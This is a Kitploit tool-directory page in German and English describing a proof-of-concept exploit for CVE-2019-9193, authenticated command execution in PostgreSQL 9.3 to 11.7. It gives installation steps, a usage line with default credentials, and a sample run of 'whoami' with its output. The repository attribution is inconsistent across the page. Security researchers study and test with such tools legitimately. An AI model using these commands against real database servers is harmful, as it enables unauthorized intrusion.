Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-9193 — PoC-Tool, das entwickelt wurde, um eine authentifizierte Remote Code Execution (RCE)-Sicherheitslücke in bestimmten Versionen von PostgreSQL (9.3 - 11.7) auszunutzen. | Kitploit
Tools/GitHubGitHub/jhnhnck/cve-2019-9193
SchwachstellenanalyseExploitationPenetrationstestsLernen & BildungDatenbanksicherheit
GitHubjhnhnck/cve-2019-9193

CVE-2019-9193

PoC-Tool, das entwickelt wurde, um eine authentifizierte Remote Code Execution (RCE)-Sicherheitslücke in bestimmten Versionen von PostgreSQL (9.3 - 11.7) auszunutzen.

Repository anzeigen
3vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

EN

GenPostgresRCEExploit ist ein PoC-Tool, das entwickelt wurde, um eine authentifizierte Remote Code Execution (RCE)-Schwachstelle in bestimmten Versionen von PostgreSQL (9.3 - 11.7) auszunutzen. Es ermöglicht authentifizierten Benutzern, Systembefehle auf einem PostgreSQL-Datenbankserver auszuführen, der anfällig für CVE-2019-9193 ist.

Funktionen

  • Ausnutzung von RCE: Führt Systembefehle über eine authentifizierte PostgreSQL-Sitzung aus.
  • Versionsprüfung: Überprüft die Version des Ziel-PostgreSQL-Servers, um das Vorhandensein einer Schwachstelle zu bestätigen.
  • Befehlsausführung: Ermöglicht die Ausführung von Benutzerbefehlen auf dem Server, sofern dieser anfällig ist.
  • Automatische Tabellenverwaltung: Erstellt und löscht eine temporäre Tabelle, um Befehle ohne manuelles Eingreifen auszuführen.

Anforderungen

  • Python 3.x
  • PostgreSQL-Python-Bibliothek (psycopg2 von pip)
  • PostgreSQL-Bibliotheksheader (libpq-dev von apt)

Installation

  1. Klonen Sie das Repository:
    root@kitploit:~
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  • Installieren Sie die erforderlichen Pakete:
    root@kitploit:~
    pip install -r requirements.txt
    
  • Verwendung

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
    

    Optionen

    • -i, --ip: IP-Adresse des PostgreSQL-Servers (Standard: 127.0.0.1)
    • -p, --port: PostgreSQL-Server-Port (Standard: 5432)
    • -d, --database: PostgreSQL-Datenbankname (Standard: template1)
    • -U, --user: Benutzername zur Verbindung mit dem PostgreSQL-Server (Standard: postgres)
    • -P, --password: Passwort zur Verbindung mit dem PostgreSQL-Server (Standard: postgres)
    • -c, ---command: Systembefehl, der auf dem Server ausgeführt werden soll
    • -t, --timeout: Verbindungs-Timeout in Sekunden (Standard: 10)

    Beispiel

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
    

    Dieses Beispiel stellt eine Verbindung zum PostgreSQL-Server unter 192.168.1.10 her, authentifiziert sich mit den angegebenen Anmeldedaten und führt den Befehl whoami aus.

    Beispielausgabe

    root@kitploit:~
    $ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
    
    [+] Connection to PostgreSQL database at 192.168.1.10:5432
    [+] Connection successfully established
    [+] PostgreSQL version check
    [+] Vulnerable PostgreSQL version detected: 10.4
    [+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
    [+] Command successfully executed
    
    postgres
    

    Haftungsausschluss

    Dieses Tool ist ausschließlich für Bildungszwecke und ethische Tests bestimmt. Die unbefugte Nutzung dieses Tools gegen beliebige Systeme ist illegal und strengstens untersagt. Die Autoren übernehmen keine Verantwortung für Missbrauch.

    RU

    GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.

    Features

    • Exploit RCE: Execute system commands over an authenticated connection to PostgreSQL.
    • Version Check: Checks the version of the target PostgreSQL server for vulnerabilities.
    • Command Execution: Allows arbitrary commands to be executed on the server in the presence of a vulnerability.
    • Table Management: Automatically creates and deletes a temporary table for command execution.

    Requirements

    • Python 3.x
    • PostgreSQL client library (psycopg2 package)

    Installation

    1. Clone the repository:
      root@kitploit:~
      git clone https://github.com/geniuszly/CVE-2019-9193
      cd CVE-2019-9193
      
    2. Install the required packages:
      root@kitploit:~
      pip install -r requirements.txt
      

    Usage

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
    

    Options

    • -i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)
    • -p, --port: PostgreSQL server port (Default: 5432)
    • -d, --database: PostgreSQL database name (Default: template1)
    • -U, --user: Username to connect to the PostgreSQL server (Default: postgres)
    • -P, --password: Password to connect to PostgreSQL server (Default: postgres)
    • -c, --command: System command to execute on the server
    • -t, --timeout: Connection timeout in seconds (Default: 10)

    Example

    root@kitploit:~
    python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
    

    In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.

    Example output

    root@kitploit:~
    $ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
    
    [+] Connection to PostgreSQL database at 192.168.1.10:5432
    [+] Connection successfully established
    [+] PostgreSQL version check
    [+] Vulnerable PostgreSQL version detected: 10.4
    [+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
    [+] Command successfully executed
    
    postgres
    

    Disclaimer

    This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.

    Tool herunterladen